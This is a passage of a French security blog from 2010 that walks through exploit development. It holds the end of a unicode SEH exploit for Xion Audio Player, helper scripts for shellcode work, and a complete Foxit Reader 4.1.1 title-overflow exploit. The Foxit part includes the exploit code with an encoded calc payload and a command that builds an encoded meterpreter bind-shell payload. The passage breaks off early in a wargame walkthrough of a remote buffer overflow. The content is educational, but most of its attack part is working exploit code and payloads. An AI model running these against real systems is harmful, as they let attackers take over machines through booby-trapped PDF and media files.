hunter = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBove1GZyolOa2Nr1Za3NxhMlnMlYuNzptjOwHr0mqr70NriVwfOqeJJvOBUYWKOk7A'
# egghunter tag
tag = 'PAWN' * 2

# 5b            pop ebx
# 00 43 00      add byte [ebx], al
nseh = '\x5b\x43'
# 51            push ecx
# 00 43 00      add byte [ebx], al
seh = '\x51\x43'    # add esp, 8 | ret

# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

# make str long enough to trigger
trigger2 = 'B' * 3000

output = sys.argv[2]
fp = open(output, 'wb')
egg = trigger1 + nseh + seh + align + hunter + trigger2 + tag
fp.write(egg.encode())
fp.write(payload)
fp.close()

Sploit dev is expensive!

Sinon, je lis souvent qu'un sploit ça peut coûter cher à développer, voilà le temps que ça m'a mis : 2h20 pour le sploit original + 25 minutes pour le module msf et 45 minutes pour écrire l'article, soit 3h30.
Si on compte un forfait mensuel de 300€ pour de la main d'oeuvre pas cher (Chine par exemple) travaillant 20 jours mensuellement avec 10h par jour, ça nous fait 5.25€ :).
Bon j'exagère, je compte pas le temps pour trouver la vulnérabilitiée et pas tous le monde sait coder un exploit (y'a quand même beaucoup de gens :)).
Un bon sploit déveur est apparemment rémunéré dans les 250k/an, ce qui nous donnerais 364.6€ de développement.
On parle ici que d'une seule vuln' et d'un seul développeur, avec le fuzzing et si vous rajouter le développement d'un framework derrière ... ça monte assez vite.

Let's conclude!


J'ai écrit un module msf aussi, dès qu'il sera publié, j'updaterais le post avec le lien du sploit ;).
Après considération, on se rend compte qu'en utilisant l'encodeur alpha2, le plus important est de pouvoir aligner notre code ensuite le décodeur fait tous le boulot ;).

Have fun,

m_101

Liens :
- Foxit reader exploitation (Sud0)
- Foxit reader exploitation (m_101)
- Peter Van Eeckoutte's Exploit writing : Unicode exploitation
Xion Audio Player 1.0.126 MSF Exploit module

samedi 20 novembre 2010

Tips and tools for Linux and Windows

Dans toutes les étapes du dévelopement d'un sploit ou encore de la résolution d'un challenge (dans l'applicatif comme toujours :)) on se rend compte que notre meilleur amis après Google est notre débuggueur adoré (avant tous les autres tools de reversing :)).
Je vais ici décrire mon environnement de travail (qui est sommaire pour l'instant vu que je commence à peine à jouer avec les reals worlds exploits ...).

C'est une liste de tools qui est loin d'être exhaustive, mais je vais vous présenter ce que j'utilise.

Sous Linux

Pas de miracle ou de mystère, le débugueur roi est ici GDB!
C'est pas une panacé à utiliser mais avec l'habitude on s'y fait et c'est mine de rien une bien puissante bête :).
J'ai toujours trouvé un peu lourd à devoir retaper les habituels 'i r', etc après chaque break mais coup de chance, on peut tuner GDB! Un bon script existe : Plugin GDB :)
Oui de zoli couleur ^^.


Et pis bon, le débuguer fait pas tout, parfois on a besoin de choper des addresses de fonctions rapidos : nm.

On oublie pas de mater les bibliothèque loadées avec : ldd.

objdump est assez pratique pour dumper des listings asm entiers (et faire une recherche d'instructions intéressantes ;)).

nasm est indispensable pour l'assembly ... sans compter ndisasm.

Ou si on veut analyser les shellcodes utilisés dans les sploits, voilà 3 scripts shells de ma conception qui pourraient vous être utiles.
Le premier sert à cleaner les outputs de ndisasm :
#!/bin/sh

sed -r -e '
1 i bits 32\
\
section .text\
    global _start\
\
_start:

s/([0-9A-F]+\s+){2}/    /g
'
Le second à passer en unicode les payload unicode en ASCII :
#!/bin/sh

if [ "$#" -lt 1 ]
then
    echo "Usage : $0 (ascii2unicode|unicode2ascii)"
fi

case "$1" in
    ascii2unicode)
        sed -r 's/(\w)/\1\x00/g'
    ;;
    unicode2ascii)
        sed -r 's/(\w)\x00/\1/g'
    ;;
esac
Le dernier sert juste à me sortir n'importe quel fichier en hex escaped.
#!/usr/bin/python

import sys
import struct

if len(sys.argv) < 2:
    filename = '-'
else:
    filename = sys.argv[1]

if filename == '-':
    data = sys.stdin.read()
else:
    fp = open(filename, 'r')
    data = fp.read()
    fp.close()

# let's form the shellcode in C form
escaped = ''.join ("\\x%02x" % ord(c) for c in data)
shellcode = 'char shellcode[] = "' + escaped + '"'

print "shellcode size : %i" % len(data)
print shellcode
Ainsi en utilisant la ligne de commande on est mine de rien assez versatile :
m_101@m_101-laptop $ printf "CC" | ./ascii2unicode.sh ascii2unicode | ndisasm -b 32 - | ./clean_nasm.sed 
bits 32

section .text
    global _start

_start:
    inc ebx
    add [ebx+0x0],al
m_101@m_101-laptop $ printf "JUNK" | ./shellcode2arrayopt.py -
shellcode size : 4
char shellcode[] = "\x4a\x55\x4e\x4b"

On peut instrumenter GDB avec Python : PythonGDB.
Au pire il suffit de créer un fichier de commande GDB et de le lancer comme ça :
gdb -ex 'source cmds.gdb'

C'est la méthode que j'utilise pour dumper par exemple :
#!/usr/bin/python

# Author  : m_101
# email   : m101.sec at gmail.com
# Target  : Linux
# Depends : gdb, python
# Name    : iDumpMem
# Purpose : Dumping memory portion out of some process
# Version : 0.1
# License : GPL
# Greetz to people for which hacking is a way to live
# Thanks to 2600 Montreal folks for bringing this script idea
# The code is a bit crappy but it works at least :)

from os.path import *
from os import *
from sys import *
from commands import *
from string import *

# arguments check
if len(argv) < 3:
    # example: iDumpMem python heap
    print 'Usage: ' + argv[0] + 'proc_name memory_section [dump_file]'
    exit(1)

proc_name = argv[1]
mem_section = argv[2]

if len(argv) == 4:
    dump_file = argv[3]
else:
    dump_file = 'dump_' + proc_name + '_' + mem_section

# process information
proc_ps_line = getoutput('ps aux | grep ' + proc_name + ' | grep -Ev
"(grep|' + argv[0] + ')"')
if proc_ps_line == '':
    print 'Process ' + proc_name + " doesn't exist"
    exit(1)

# process id
proc_id = split(proc_ps_line)[1]
if proc_id == '':
    print "Didn't found proc_id ... exiting"
    exit(1)

# getting the memory section of interest
proc_maps_mem = getoutput('cat /proc/' + proc_id + '/maps | grep ' +
mem_section)
if proc_maps_mem == '':
    print 'No ' + mem_section + ' found ... exiting'
    exit(1)

# memory addresses
mem_range = split(proc_maps_mem)[0]

mem_start = '0x' + split(mem_range, '-')[0]
mem_end = '0x' + split(mem_range, '-')[1]

# printing the informations gained
print 'Process name : ' + proc_name
print 'Process id   : ' + proc_id
print 'Process ' + mem_section + ' : ' + mem_range
print '[+] Dumping process ' + mem_section + ' memory ... '

cmds_file_existed = exists(getcwd() + '/cmds.gdb')

# we create gdb commands file if the file doesn't exist yet
# we delete it afterward
if cmds_file_existed == False:
    gdb_cmds_file = file('cmds.gdb', 'w')
    gdb_cmds_file.write('attach ' + proc_id + '\n')
    gdb_cmds_file.write('dump mem ' + dump_file + ' ' + mem_start + '
' + mem_end + '\n')
    gdb_cmds_file.write('detach\n')
    gdb_cmds_file.write('quit\n')
    gdb_cmds_file.close()

# we execute gdb cmds for dumping targeted memory
gdb_dump_mem = getoutput("gdb -ex 'source cmds.gdb'")

# we delete the created gdb cmds file
if cmds_file_existed == False:
    unlink('cmds.gdb')

print '[+] ' + proc_name + ' ' + mem_section + ' was dumped'
print '[+] Bye bye ;)'

Sous Windows?

C'est pas les tools qui manquent!

Jouer avec les PEs

On pensent à identifier un éventuel packer avec PEiD ou RDG Packer Detector.


On peut ensuite faire du diffing avec DarunGrim.
En terme de patching engine, le meilleur que j'ai trouvé est diablo2oo2's Universal Patcher .

On peut aussi dumper ses process' avec LordPE:

Pour reconstruire ses dump, ImpREC est toujours aussi utile.


Les debuggers : 


Immunity debug

OllyDBG


WinDBG
IDA PRO


En termes de plugins :
Byakugan (windbg) : utile pour le sploit dév'.
pvefindaddr (ImmunityDBG) : utile pour le sploit dév'.
patchdiff2 : sert a choper les modifications des updates par exemple

D'autres tools peuvent être utiles :
PAIMEI : Reverse engineering framework
ROPEME : ROP Exploit Made Easy

Et pour finir l'un des tools qui est très utile : VirtualBox.

Et vous, quels tools utilisez-vous?

m_101

Tuning GDB Plugin GDB
Diff tools

vendredi 19 novembre 2010

[Exploitation] Foxit Reader 4.1.1 : Unicode SEH exploitation (1)

Greetz to corelancod3r, Ivanlef0u, Zenk-Security, HackBBS and a lot more of other people for hacking, helping, tips, etc :).

Salut!

Aujourd'hui je vais vous parler de l'exploitation de Foxit Reader 4.1.1. En effet, ce lecteur PDF est susceptible à un stack-based buffer overflow dans le champ du titre d'un PDF. La faille a été corrigée dans la version 4.2.
J'ai basé mon analyse sur celle faites par Sud0 sur le site de corelancod3r car je voulais avant tout jouer avec l'unicode :) (et puis un article français en plus ne fera pas de mal ;)).

Let's go!


Préparatifs

Pour triggerer cette vulnerabilitée, on a 2 pré-requis :
- DisplayDocTitle à true
- un titre plus que long

Comme à notre habitude, on génère un pattern metasploit :
msf/tools/pattern_create 10000 > msfpattern.txt

Au lieu d'utiliser le PoC présenté il y a quelques jours car je ne trouvais pas pratique d'éditer le fichier à chaque fois pour faire mes ajustement, j'ai préférer me générer mes PDFs avec Python et ReportLab.

Il faut tout d'abord patcher votre reportlab pour ajouter la directive DisplayDocTitle :
--- ./pdfdoc.py 2010-11-17 15:30:00.572930001 +0100
+++ /usr/lib/python2.6/dist-packages/reportlab/pdfbase/pdfdoc.py 2010-11-17 15:37:21.662930001 +0100
@@ -702,6 +702,7 @@
                 HideWindowUI=checkPDFBoolean,
                 FitWindow=checkPDFBoolean,
                 CenterWindow=checkPDFBoolean,
+                DisplayDocTitle=checkPDFBoolean,
                 NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()),
                 Direction=checkPDFNames(*'L2R R2L'.split()),
                 ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),

Une fois tout celà patché, on est fin prêt à générer notre fichier PDF avec le script suivant :
#!/usr/bin/python

# author : m_101

import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch

if len(sys.argv) < 2:
    print "Usage : %s output" % sys.argv[0]
    exit(1)

# filename
filename = sys.argv[1]
# get msfpattern
fp = open('msfpattern.txt', 'r')
msfpattern = fp.read()
fp.close()

print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(msfpattern)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln

# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")

pdf.showPage()
pdf.save()

print "Have fun :)"


Triggering the vuln'

Une fois notre fichier généré, on lance Foxit dans ImmunityDbg et Foxit crash à l'ouverture du fichier :


On remarque que notre seh handler contient une chaîne de type 00xx00xx : de l'unicode!!!

Pour trouver l'offset, on utilise le plugin de corelancod3r : pvefindaddr


On écrase donc nseh au bout de 540 octets.
Avant de continuer, une petite base sur l'exploitation unicode.

Exploiting with unicode payload

Pendant longtemps, les gens ont pensés que l'exploitation unicode était impossible et Chris Anley a montré le contraire :).
Le trick dans l'exploitation d'un bof unicode est d'utiliser des instructions de 1 octet pour padder au besoin et aller avec des instructions de 3 octets.
Par exemple :
5a          pop edx
00 41 00    add [ecx], al
Ou encore :
6a 00       push byte 0x0
58          pop ax
00 45 00    add [di+0x0], al
On peut voir que dans les deux cas on doit avoir un pointeur valide ou sinon nous aurons un "Access Violation" ou SIGSEV.
On peut considérer une instruction comme nop dès lors qu'elle n'influe pas sur notre exploitation à proprement parler. Les instructions de 3 bytes montrées peuvent servir à patcher la mémoire aussi.


Pour l'exploitation avec une payload unicode, on ne peut tout simplement pas faire de JMP directs. On a des POP, PUSH, XOR, ADD, RET et quelques autres instructions. On oublie les conditions
On peut également bridger et re-écrire directement dans la mémoire : on contrôle des pointeurs! :) Le principe évoqué dans Building IA32 'Unicode-Proof' Shellcodes est de patcher la mémoire pour reconstruire notre shellcode ^^.
Au final, les deux payloads vont se rencontrer et on continue notre exécution dans notre payload reconstruite. Le principe est illustré dans The art of exploitation au chapitre 0x691.
Vous pouvez ainsi commencer à coder en full alphanumeric puis patcher avec la technique ci-dessus. Bon évidemment coder une full payload en unicode est contre-productif, on va utiliser des encodeurs style alpha2 :).
Pour plus de détails, je vous invite à lire les papers bien écrits et détaillés que j'ai mis en liens à la fin de l'article.


Il nous faut trouver une addresse compatible unicode et qui soit aussi des instructions.
Lancer la commande suivante sous ImmunityDbg:
!pvefindaddr p1
Ensuite filtrant uniquement ceux qui nous intéressent (je suis sous Linux avec une VM VirtualBox) :
cat ppr1.txt | grep -i unicode | egrep -vi "(maybe|ansi)" > ppr-unicode.txt

Perso' j'ai choisi l'addresse suivante : 0x004d002f
2f            das
00 4d 00      add [ecx], cl
Il nous faut donc une adresse valide pour ECX ou on aura droit à un AV.
59        pop ecx
00 41 00  add byte [ecx], al

On va ici utiliser l'encodeur de metasploit :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/exec CMD=calc R | ./msfencode -e x86/alpha_mixed -t raw | ./msfencode -b "\x00" -e x86/unicode_mixed BufferRegister=ESP -t raw
[*] x86/alpha_mixed succeeded with size 456 (iteration=1)

[*] x86/unicode_mixed succeeded with size 1038 (iteration=1)

TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBDIGvJ9I6FyD6L4QNB6PYQ9Q9PIPIQ9Q9Q9PIPIPIQ3PCQ3PCQ3PCP7PQPZQZQ1B8PPP0Q1P0Q1BKQ1Q1B1P2Q1Q2P2Q2Q2P0Q2Q2Q1Q2PXB0P8Q1Q2PuPJPIPIBLPMP8PKP9Q7D0Q7BPQ5B0PQD0PNBIPJQ5Q6PQPJBRB1PtPNPkPBPrPPP0PLPKB0B2Q6PlPLPKPQPBQ5Q4PNBKPCPBPDBHPDPOPHP7B1PZQ4C6Q5PaPIPoPEQQPKPpPLBLPGPLPQPqPCPLQ7QbQ6PLPQP0PJPaPJPoQ6PmQ7D1PKD7Q8BBPLP0PQQ2Q6P7PLPKPBD2PBP0PLPKB1B2Q7PLQ6C1PHB0PNBKPQB0B1PhPOD5POP0Q4P4Q3QjQ6PaPNP0PFP0PNPkPCPxPDPXPNPkPPPXPEPpQ6PaQ9Q3PIQcPGPLPPQ9PLPKPFQDPLPKQ5PQPJPvPEQQPKPOQ5QQQ9B0PLPlPJC1Q8POPDPMQ3P1PKCGQ7Q8PKPPB1PeQ8QdQ7QcB1BMPKPHPEPkB1BMQ4C4Q2PUPMP2Q2D8PLPKQ6P8PDQTPEPQPNP3Q2PFPNPkPDPLB0PKPNBKQ3C8Q7PlPCP1PNP3PNBKPFBDPLPKQ3P1PNP0POCIPQQDB1P4Q7QDPQPKB1PKB0PaQ2PyPCQZQ6P1PKPOQ9D0PQPHPQPOPBQjPNPkQ7QRPJPKPKP6Q3BMPQPzPGBQPNBMPOD5POPIPEB0PCP0Q3P0PPPPPQPxB0P1PLPKPPBOPMPWPIPoQ8B5POPKPJPPPHP5PLBBQ2D6PCB8PLPfPLPUPOPMPMPMPKPOPNP5PGPLQ7PvQ3PLQ4PJPOBPPIPkPMP0PDP5PGPuPOPKPGP7PEPCQ4P2PPBOPQQjPCP0PBQcPIBOPKPeQ2Q3B0PaB0BLPEP3Q7PpPEQJQ1Q1AA

Pour l'encodeur metasploit ou alpha2, il faut padder le buffer et reajuster pour que le registre choisi pointe directement sur le premier octet de la payload unicode.
Une fois cette chose faites, on relance notre sploit.

On se rend compte qu'on a un "Access Violation" à cause d'un pointeur non valide, or on sait que ECX est valide :).


On change donc le premier U en a (0x55 => 0x61) pour avoir un pointeur valide.

Notre registre pointe désormais sur notre payload unicode et nos pointeurs sont tous valides, pawn!! :)

The Exploit

Le sploit :
#!/usr/bin/python

# author : m_101

import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch

if len(sys.argv) < 2:
    print "Usage : %s output" % sys.argv[0]
    exit(1)

# filename
filename = sys.argv[1] 
# 59        pop ecx
# 00 41 00  add byte [ecx], al
nseh = "\x59\x41"   # nops
# 2f        das
# 00 4d 00  add [ebx+0x0], cl
seh = "\x2f\x4d"    # pop pop ret

# get the interesting values
fixaddr = "\x5a"    # 5a                pop edx             ; we pop buffer address
fixaddr += "\x41"   # 00 41 00          add [ecx+0x0], al   ; nop
fixaddr += "\x5c"   # 5c                pop esp             ; we pop nseh address
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

# fix base address to make it point to the beginning of shellcode
fixaddr += "\x61"   # 61                popadd
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

fixaddr += "\x41"   # 41                inc ecx
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

# ecx = 0x00350035 (writable address after popadd)
addr = '55N'        # 35 00 35 00 4e    xor eax, 0x4e003500
addr += 'A'         # 00 41 00          add [ecx+0x0], al
# payload
# encoders : x86/alpha_mixed + x86/unicode_upper
calc = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBCYGuIJHIFyCEJTB8PPQIQ9PIQ9Q9Q9PIPIPIQ9Q9PCQ3Q3Q3Q3PCP7PQPZPjQ1B8PPP0Q1P0Q1PkQ1Q1PQP2Q1Q2P2PBPBP0Q2PBQ1Q2PXB0P8Q1Q2D5PJPIQ9PlPICHPKP9Q7BPPGPpQ3P0Q5P0POD9PKPUQ4PqPNP2PEP4PNPkPFP2B0P0PLPKPFP2PDPLPLPKPFP2PBP4PNPkPPD2Q7QHPDPOPLCGPBPjQ6PFPPP1Q9PoQ5PaPIB0PLPlQ7PLPEP1B1BLPDQ2Q4PlB1P0PJPaPJBOQ6PmQ5B1PJC7PID2PJB0B1Q2PCBGPNPkB0PRPFPpPNPkPCBRPGPLPFC1PNP0PNPkQ3D0PCQ8PLQ5PIB0PCQ4Q2BJQ3P1PNP0Q2PpPNBKB0PHPEQ8PLPKPBPxQ5BPPGPqPKPcPKQCQ5PlB0Q9PLPKQ7PDPLPKPFC1PNP6Q4PqPKPOQ5PaQ9B0PNPLPOP1Q8POQ4PMQ3P1PKBWQ7PHPKB0Q3Q5PKPDPGD3B1BMQ8PxQ5BKPCPMPGPTB1PePJQ2PQQ8PNBKQ6P8PEPtPGPqPKQSB0QVPNBKPFPlPBPkPLPKPCQXPEPLQ6C1PIPCPNBKQ6PdPLPKQ5B1PJPpPLQ9Q7P4PFPDB1P4PCPkPQPKQ3B1Q3C9PCBJPBD1PKPOPMP0PBCHPCPoQ3BJPLPKQ2P2PJPKPLPFQ3PmQ3QJPEPQPLPMPMPUPLCIQ7PpQ7D0Q7D0B0PPPBQ8PFPQPNPkPPBOPMPWQ9PoQ9PEPOPKPLP0Q8P5Q9P2B0QFQ5P8PNPFPJP5POPMPMPMPIBOPKQUPEPlQ7QfQ3PLQ7QjPMB0PIBKPKB0B0CEPCP5PMBKQ7P7PEPCPDP2B0PoPPPjPCP0PBD3PKPOPNP5Q3PSQ3PQB0PlPCB3Q5B0PFQZQ1Q1AA'

#
trigger = "A" * 540
title = trigger + nseh + seh + fixaddr + addr + calc

print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(title)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln

# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")

pdf.showPage()
pdf.save()

print "Have fun :)"

Ce script génère un fichier pdf avec le lancement d'une calculatrice :

Si on veut plus qu'une calculatrice, l'encodeur metasploit n'est pas adapté car il génère de trop grande payload.
L'encodeur alpha2 original est plus efficace.
Voilà la payload meterpreter pour ceux qui veulent jouer ^^ :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b ‘\x00′ -t raw > ~/data/exploit/meterpreter_tcp.bin
m_101@m_101-laptop:~/data/exploit$ ./alpha2 --unicode esp < meterpreter_tcp.bin
TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBLsI9WNNHnnwJrpXZYNHYqdNDZTX1nkQORcWWYtnQT7ZoLC47LOzBIMWBNrJyKmNkdcQj5D6NSbdhgRUke73LaqxnLkl6WWKjWOBZVoNMzhLpMYkSsYYdJUxOOYtV3YZm3n1hvP7mFsPykEm0mKnKTnNotNwlIKLRLSYLLKLYnKVFNNINGhKlNQlOd0lj1i4wKJ2TNy5vLobGW5qqoTOlonjpDM4lUOKrJQRC5N4JkL2ZWwLmmOm9mCPNsrLJ9PnLRXsnzTSgLKNX7lnFGoiORwo5V4BtyoLiLkpxSDR5SpQoqJwol2OkcN5kW1XBmWqQM7JZMgVm9hOnOLylHmgiKopiuqz7SopiNmBOZLOkvrYKpzhP3kWU3MN74vX2lQK6Mi93nXNMrMRsPRu4LNcHURMYYKlol2reedBofBQUQUpxeXaYnz68Z3VChss8jPkoDTQx9vDqnXit9P9KZ0OPWKsCJs6W0t7sbL5MLi7LyjtiO4pzKTLjqSKxW9tBySWKEQLVlR7LjOONmsNKpevOLfhMBZzZJ2LMxoKQBTnyqwlKEQ4myxl354fEsQ1Qs6XRXmQUPfO288ZObFOZklntNUbOosmqMZOLjV2JJz4PPQZc3pVoSf4LQKMjKw8ptJlCTmYp6YaW2MK6A
Changez le premier U en a et tout ira bien :).

Have fun,

m_101

Ressources :
- The venetian exploit
- Practical Win32 unicode exploitation
- Building IA32 'Unicode-Proof' Shellcodes
Writing ia32 alphanumeric shellcodes
- Alpha2 encoder
- Peter Van Eeckhoutte's Exploit writing tutorial part 7 : unicode from 0x00410041 tocalc

Références :
- Foxit Reader 4.1.1 Stack Overflow Exploit - Egghunter Mod
- Foxit Reader v4.1.1 Stack Overflow Vulnerability (PoC)
Sud0 write-up

Tools :
- pvefindaddr
- ImmunityDbg

samedi 13 novembre 2010

[Wargame] VmZenk2 - level4

Hello les gens!

Aujourd'hui je vais vous présenter ma solution du challenge 4 de la VM2 de Zenk-Security.

C'est un challenge vraiment pas mal du tout, il a l'ASLR d'activé et est en remote :).

Tout d'abord il faut récupérer la machine virtuelle ici.

Et le code du challenge :
//gcc -o final final.c -mpreferred-stack-boundary=2 -fno-stack-protector
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024 
#define BACKLOG 5      


void process(char *buffer);
void cleanup(int socket_descriptor, int incoming_socket);

int main(int argc, char *argv[]) {

    int   socket_descriptor = -1;
    int   incoming_socket;
 int   server_port = 7777;
    int   message_length;
    int   i_want_reusable_ports = 1;
    int   length;
    int   index;
 
    char   buffer[BUFFER_SIZE];
 
    struct   sockaddr_in my_address;
    struct   sockaddr_in their_address;

    socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);


    if (socket_descriptor < 0) 
 {
  cleanup(socket_descriptor, incoming_socket);
  exit(1);
    }


    if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1)
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(2);
    }


    my_address.sin_family = AF_INET;
    my_address.sin_port = htons(server_port);
    my_address.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_address.sin_zero), '0', 8);

    if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(3);
    }


    if (listen(socket_descriptor, BACKLOG) == -1) 
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(4);
    }

 length = sizeof(my_address);

    while (1) 
 {
  
  memset(buffer,0,BUFFER_SIZE);

        if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) 
  {
            cleanup(socket_descriptor, incoming_socket);
            exit(5);
        }

  if(!strcmp(inet_ntoa(their_address.sin_addr),"127.0.0.1"))
  {
   printf("Local Interdit!\n");
   exit(6);
  }
  
        printf("Client : %s...\n", inet_ntoa(their_address.sin_addr));
        send(incoming_socket, "Bienvenue!\n", 11, 0);
        
  index = 0;

  while ((message_length = read(incoming_socket, buffer + index, 1)) > 0)
  {
            index += message_length;
            
   if (buffer[index - 1] == '\0')
                break;
        }

        printf("Message recu : %s\n", buffer);

        process(buffer);

        close(incoming_socket);
    }

    cleanup(socket_descriptor, incoming_socket);
    return 0;
}

void process(char *buffer) 
{
    char local_buffer[1024];
    strcpy(local_buffer, buffer);
}

void cleanup(int socket_descriptor, int incoming_socket) 
{
        if (socket_descriptor != -1)  {
                close(socket_descriptor);
                close(incoming_socket);
        }
}

On voit tout de suite que la vuln' se trouve dans process().

L'assembly correspondant :
Dump of assembler code for function process:
   0x080489c8 <+0>: push   ebp
   0x080489c9 <+1>: mov    ebp,esp
   0x080489cb <+3>: sub    esp,0x408
   0x080489d1 <+9>: mov    eax,DWORD PTR [ebp+0x8]
   0x080489d4 <+12>: mov    DWORD PTR [esp+0x4],eax
   0x080489d8 <+16>: lea    eax,[ebp-0x400]
   0x080489de <+22>: mov    DWORD PTR [esp],eax
   0x080489e1 <+25>: call   0x80485a4 <strcpy@plt>
   0x080489e6 <+30>: leave  
   0x080489e7 <+31>: ret    
End of assembler dump.

Cool, notre eax est pas modifié or on sait que strcpy() renvoi l'adresse de notre buffer, ça peut être utile pour les instructions du genre :
call eax

On va chercher ça avec objdump :
[user4@ZenkApp2 ~]$ objdump -d ./final | grep call | grep eax
 80486a8: ff 14 85 28 9b 04 08  call   *0x8049b28(,%eax,4)
 80486ef: ff d0                 call   *%eax
 8048a9b: ff d0                 call   *%eax

Et voilà nos deux addresses : 0x080486ef et 0x08048a9b.

On va poutrer ça de 2 manières :
- façon classique avec notre vieux python
- avec un sploit metasploit

Tout d'abord on va chercher l'offset où on re-écrit EIP.

Sous la VM on met en place GDB :
[user4@ZenkApp2 ~]$ gdb -q ./final
Reading symbols from /home/user4/final...(no debugging symbols found)...done.
gdb$ r

Puis on envoi un pattern metasploit à partir de notre machine :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 1040 | nc 192.168.56.101 7777
Bienvenue!

Regardons ce qui s'est passé dans notre VM?
Client : 192.168.56.1...
Message recu : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi

Program received signal SIGSEGV, Segmentation fault.
